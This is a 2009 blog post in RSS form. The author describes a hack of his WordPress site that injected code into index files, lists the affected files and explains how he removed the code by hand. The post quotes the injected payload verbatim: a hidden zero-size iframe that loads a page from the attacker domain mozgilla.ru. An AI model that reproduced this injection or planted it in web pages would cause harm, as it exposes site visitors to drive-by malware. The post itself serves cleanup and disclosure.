<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>George's blog &#187; index files</title>
	<atom:link href="http://blog.georgezamfir.com/tag/index-files/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.georgezamfir.com</link>
	<description></description>
	<lastBuildDate>Wed, 22 Sep 2010 16:02:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1</generator>
		<item>
		<title>mozgilla hack &#8211; index.* files corrupted</title>
		<link>http://blog.georgezamfir.com/mozgilla-hack-index-files-corrupted.html</link>
		<comments>http://blog.georgezamfir.com/mozgilla-hack-index-files-corrupted.html#comments</comments>
		<pubDate>Wed, 04 Nov 2009 17:28:39 +0000</pubDate>
		<dc:creator>George</dc:creator>
				<category><![CDATA[Tips & Tricks]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[index files]]></category>
		<category><![CDATA[mozgilla]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.georgezamfir.com/?p=643</guid>
		<description><![CDATA[This just recently happened to me (last night actually), I think my host got hacked. I have no idea why or how. OK, so straight to the point. This morning my blog &#8211; a wordpress installation &#8211; was dead. I was getting whether an &#8220;access denied&#8221; or &#8220;you don&#8217;t have permission to access&#8230;&#8221;. First I [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #888888;">This just recently happened to me (last night actually), I think my host got hacked. I have no idea why or how.</span></p>
<p>OK, so straight to the point. This morning my blog &#8211; a wordpress installation &#8211; was dead. I was getting whether an &#8220;access denied&#8221; or &#8220;you don&#8217;t have permission to access&#8230;&#8221;. First I thought that the blog got screwed somehow and I tried to go into the admin panel (e.g. georgezamfir.com/wp-admin/)&#8230; aaand I got the same error code. Crap. At this point I was clueless, I searched online for any netfirms issues, I thought they messed up something, nothing.</p>
<p>All right, back to basics, I FTP-ed to my host to take a look at the files and this is when I realized that all my index.* (index.php, index.html, index.htm, etc) files were screwed. There were no permissions set and they all contained some code linking to mozgilla.ru &#8211; that code was not familiar to me.  Duh, I don&#8217;t use iframes. There isn&#8217;t much online on this thing except for this page: <a href="http://badwarebusters.org/main/itemview/11308">badwarebusters.org/main/itemview/11308</a>.</p>
<p>I was having the exact same code in my files:<br />
<strong><em>&lt;iframe frameborder=&#8221;0&#8243; onload=&#8221;if (!this.src){ this.src=&#8217;http://mozgilla.ru:8080/index.php&#8217;; this.height=&#8217;0&#8242;; this.width=&#8217;0&#8242;;}&#8221; &gt;klsgawbozfesywooikgbcetdnwaubys&lt;/iframe&gt;</em></strong><br />
However, in the .php files the code above was at the very end of the files but in the .html files the code was right after the &lt;body&gt; tag.</p>
<p><span id="more-643"></span></p>
<p>Now, as mentioned in the article above the code could be &#8220;injected by script&#8221; directly inside the files or through .htacess when the pages are requested. In my case the code was injected directly in the files (thank god) and I manually removed the code.</p>
<p><strong>For</strong> <strong>wordpress installations/blogs</strong>, the following files (remember to set the permissions first, otherwise you won&#8217;t be able to edit the files) are being affected:<br />
<em>/index.php<br />
/wp-admin/index-extra.php<br />
/wp-admin/index.php<br />
/wp-content/index.php<br />
/wp-content/themes/index.php<br />
/wp-content/themes/{all themes folders}/index.php (I simply removed the themes I didn&#8217;t need<br />
/wp-includes/default-filters.php<br />
/wp-includes/default-widgets.php</em></p>
<p>Also, in my case I didn&#8217;t have to change the .htaccess (in the wordpress folder) as it should look something like the below code. You need these lines for the permalinks, don&#8217;t delete them.</p>
<p><em># BEGIN WordPress<br />
&lt;IfModule mod_rewrite.c&gt;<br />
RewriteEngine On<br />
RewriteBase /<br />
RewriteCond %{REQUEST_FILENAME} !-f<br />
RewriteCond %{REQUEST_FILENAME} !-d<br />
RewriteRule . /index.php [L]<br />
&lt;/IfModule&gt;<br />
# END WordPress</em></p>
<blockquote><p><strong>So, this is the (manual) way of saving your website from the pesky mozgilla hack:</strong></p>
<ul>
<li><strong>find the &#8220;corrupted&#8221; files (easy, sort by date &#8211; recently modified files have the code),</strong></li>
<li><strong>set the right permissions (chmod 644 index.php) and</strong></li>
<li><strong>manually remove the code from the files.</strong></li>
</ul>
</blockquote>
<p>I hope this helps others as I was going nuts trying to find the solution. And btw, I found the solution but I still don&#8217;t know what the problem is. However, here are some <a href="http://googlewebmastercentral.blogspot.com/2008/04/my-sites-been-hacked-now-what.html" target="_blank">tips from Google</a> on this subject.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.georgezamfir.com/mozgilla-hack-index-files-corrupted.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

